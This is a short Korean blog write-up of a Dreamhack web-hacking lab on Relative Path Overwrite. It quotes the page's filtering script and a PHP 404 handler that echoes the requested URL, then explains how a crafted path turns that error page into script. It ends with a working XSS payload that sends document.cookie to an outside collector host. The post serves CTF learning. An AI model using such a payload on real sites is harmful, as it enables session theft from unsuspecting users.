<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter === 'undefined') {
param = "nope !!";
}
else {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
코드를 보면 filter.js가 로드되지 않으면 무조건 nope이 뜬다.
그런데 filter.js가 static 폴더 안에 담겨 있어서 아무짓도 안해도 그냥 nope이 뜬다.
이전 문제에서는 없던 404.php를 보면
<?php
header("HTTP/1.1 200 OK");
echo $_SERVER["REQUEST_URI"] . " not found.";
?>
이렇게 요청된 url을 출력하고 not found라고 띄운다.
잘못된 url을 조작해서 XSS 공격을 할 수 있을 거 같다.
이렇게 url에 index.php/dddd로 잘못된 경로로 filter.js를 로드하면 내가 입력한 dddd값이 코드에 포함된다.
report에서
index.php/;location.href='https://ipprkke.request.dreamhack.games/'+document.cookie//?page=vuln¶m=dreamhack
이렇게 요청을 보내면
flag가 잘 나온다.
'웹해킹' 카테고리의 다른 글
드림핵 XS-Search 롸업 (0) | 2023.11.26 |
---|---|
DOM & Javascript (0) | 2023.11.26 |
드림핵 Relative Path Overwrite 롸업 (0) | 2023.11.26 |
Relative Path Overwrite (0) | 2023.11.26 |
드림핵 CSS Injection 롸업 (0) | 2023.11.26 |